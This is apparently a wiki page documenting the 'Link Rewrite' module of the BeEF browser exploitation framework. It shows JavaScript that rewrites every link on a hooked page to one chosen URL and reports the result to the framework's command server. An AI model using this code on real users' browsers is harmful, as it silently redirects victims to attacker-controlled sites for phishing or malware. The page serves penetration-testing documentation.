Skip to content

Module: Link Rewrite

Jess Williams edited this page Jan 13, 2020 · 3 revisions

Summary

  • Objective: Rewrite all links to one URL

  • Authors: passbe

  • Browsers: All

  • Code

Internal Working

Simply replaces all href elements in <a> tags.

beef.execute(function() {
    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinks('<%= @url %>')+' links rewritten to <%= @url %>');
});


//rewriteLinks function

rewriteLinks: function(url, selector) {
        var sel = (selector == null) ? 'a' : selector;
        return $j(sel).each(function() {
                if ($j(this).attr('href') != null)
                {
                        $j(this).attr('href', url).click(function() { return true; });
                }
        }).length;
},

Feedback

Clone this wiki locally